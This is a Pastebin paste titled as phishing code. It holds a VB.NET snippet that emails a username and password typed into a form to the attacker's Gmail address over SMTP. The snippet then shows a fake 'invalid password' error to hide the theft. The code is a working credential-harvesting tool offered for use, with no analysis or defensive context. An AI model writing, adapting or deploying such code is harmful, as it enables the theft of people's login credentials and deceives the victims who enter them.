Advertisement
Guest User

[VB.NET] Phising Code

a guest
Nov 13th, 2016
219
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.01 KB | None | 0 0
  1. '----------------------------------- PHISING VISUAL BASIC CODE -----------------------------------'
  2. Try
  3. Dim EmailMessage As New MailMessage()
  4. EmailMessage.From = New MailAddress("YOURGMAIL@gmail.com")
  5. EmailMessage.To.Add("YOURGMAIL@gmail.com")
  6. EmailMessage.Subject = "Account Phising"
  7. EmailMessage.Body = "Username: " & Me.TextBox1.Text & " Password: " & Me.TextBox2.Text
  8. Dim SMTP As New SmtpClient("smtp.gmail.com")
  9. SMTP.Port = 587
  10. SMTP.EnableSsl = True
  11. SMTP.Credentials = New System.Net.NetworkCredential("YOURGMAIL@gmail.com", "YOURPASSWORD")
  12. SMTP.Send(EmailMessage)
  13. MsgBox("Error: You need to enter in a valid password.", vbCritical)
  14. Catch ex As Exception
  15. Application.Exit()
  16. End Try
  17. '----------------------------------- PHISING VISUAL BASIC CODE -----------------------------------'
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement